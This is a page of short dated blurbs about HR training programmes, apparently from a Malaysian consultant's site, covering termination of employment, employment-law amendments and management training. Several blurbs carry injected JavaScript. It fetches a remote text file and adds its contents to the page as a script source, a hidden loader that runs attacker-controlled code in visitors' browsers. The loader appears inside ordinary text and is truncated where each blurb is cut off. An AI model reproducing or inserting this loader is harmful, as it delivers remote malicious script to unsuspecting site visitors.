22 Nov 2023

" An excellent training event. The leaders went home with renewed confidence in leading and managing their team members, better understanding of the company’s SOPs, employment law and most importantly, the setting of KPIs and consequential performance appraisal of staff. We believe they will continue to practice the skills and knowledge they have learned from the training and apply it du...

17 Aug 2023

The importance of ensuring Department heads and leaders have the basic understanding of HR in order to manage their down-liners ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('h...

20 Apr 2023

Was engaged by Kurz production to run a comprehensive program for their HR team on Managing Termination and Domestic Inquiry and thereafter to train the senior management on Basic HR for non- HR Managers, Employee Engagement & Leadership and Performance Management ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(ur...

08 Jan 2023

A one day program to train HR Managers and Executives on all aspect of terminating the contract of employment. Termination of employment is a delicate issue which must be addressed correctly from misconduct, tardiness, poor performance, redundancy& retrenchment. ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then...

26 Aug 2022

August 2022, it was great to be back in the classroom for Malaysian Hotel Associations (MAHTEC) to train various General Managers, Departmental Managers & HR's on the new amendments to the Industrial Relations Act 1967 & the Employment Act 1955. The said amendments will have serious repercussions on Companies who fail to adhere to the amendments and make the necessary changes...

19 Aug 2022

Termination of the Contract of Employment has to be the biggest challenge for any HR Practitioner. This is a 2 day comprehensive program for HR's on the strategies for all the different aspects of termination from Retirement, Resignation, Retrenchment & Dismissal. A one on one session cum coaching on the challenges faced by HR's on this very sensitive area of employment law. Goin...

01 Nov 2019

Bracing organisations for major changes in the Industrial Relations Act 1967. Another training on Management Empowerment for BKB Hevea, to help them align their procedures and address conformity among their Managers through their HR processes before the amendments take effect. ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response...

01 Oct 2019

Big changes coming in Employment Law. The amendments to the Industrial Relations Act will have far reaching consequences on companies. An employee will get his day in court as the process is will now take 1/2 the time for it to be referred to the Industrial Court. The major changes affecting Companies are:- 1. The HR Minister discretion to refer cases to the Industrial Court is abolish...

01 Sep 2019

Employee Engagement & Management for the senior Management team of Perak Turf Club. The benefit of in-house training is that I can align company's policies to 'mirror' employment legislation. More importantly its a 'no holds barred' training to make Management accountable & responsible to drive those policies thru its engagement processes with its employees. #management #humanr...